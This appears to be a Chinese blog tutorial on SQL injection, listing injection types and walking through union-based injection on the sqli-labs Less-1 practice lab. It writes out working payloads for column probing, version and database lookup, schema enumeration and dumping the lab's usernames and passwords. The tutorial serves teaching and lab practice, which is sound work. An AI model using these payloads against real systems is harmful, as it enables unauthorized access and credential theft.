SQL 注入基本讲解

SQL注入原理:

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入的种类

  • 最基础的注入-union注入攻击
  • Boolean注入攻击-布尔盲注
  • 报错注入攻击
  • 时间注入攻击-时间盲注
  • 堆叠查询注入攻击
  • 二次注入攻击
  • 宽字节注入攻击
  • base64注入攻击
  • cookie注入攻击-http请求头参数注入
  • XFF注入攻击-http请求头参数注入
  • 知道绝对路径的注入

SQL注入流程:

判断类型 

一般在sql语句中对参数的包裹方法有以下几种

id=1 id='1' id ="1" id=(1)  id=('1') id=("1")

sql中常见的注释方法 --+  #  %00

判断参数的的类型固然重要

利用例子 sqli-less1

当我们输入id=1'

640 1024x166 - SQL 注入基本讲解

发现报错

但当我们把后面的语句注释掉 即在后面加个--+ 

640 1 1 1024x271 - SQL 注入基本讲解

又恢复正常了 即这个网站传参是以字符型传输

利用函数来对数据库进行操作和查询

Group_concat():将select的查询结果全部表示出来

select version():查询数据库版本

select user():查询数据库用户名

select database():查询数据库名

select @@datadir():查询数据库的绝对路径

select @@version_compile_os:查询操作系统版本

select current_user():查询当前用户

Order by: 找列的数量

Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)

limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)

继续利用例子sqli-less1

用order by 来查询列的数量 也就是查询回显点有几个

640 2 1 1024x254 - SQL 注入基本讲解

当输入 order by 4 时 出现报错 回显点有三个 

查询回显点的位置 用联合查询union select

这里有个小细节 发现当使用联合查询时 页面没发生什么变化

但是当将参数修改成错误的参数时 联合查询才生效 这是因为sql语句先执行了参数 后执行的联合查询 所以要将前面的参数故意修改错误的参数 一般在前面加个-号

640 1024x374 - SQL 注入基本讲解
640 1 1024x253 - SQL 注入基本讲解

查询数据库版本和数据库名称

因为页面上回显了2,3 将url里面1,2,3修改为1,version(),database()

640 2 1024x286 - SQL 注入基本讲解

mysql版本为5.7.26

数据库名称为security

查看securit库下面所有的表

(select group_concat(table_name) from information_schema.tables where table_schema='security')

640 3 1024x295 - SQL 注入基本讲解

查看user表

http://sql1/Less-1/?id=-1'unionselect1,(select group_concat(column_name) from information_schema.columns where table_name='userS'),user()--+

640 4 1024x211 - SQL 注入基本讲解

查看password字段和user字段

http://sql1/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

上面是username

下面是密码

image 1024x183 - SQL 注入基本讲解

到这里union注入已经算是讲完了 

..........................信息收集......................

上一篇

SQL注入之boolean注入

下一篇
评论
发表评论 说点什么
还没有评论
235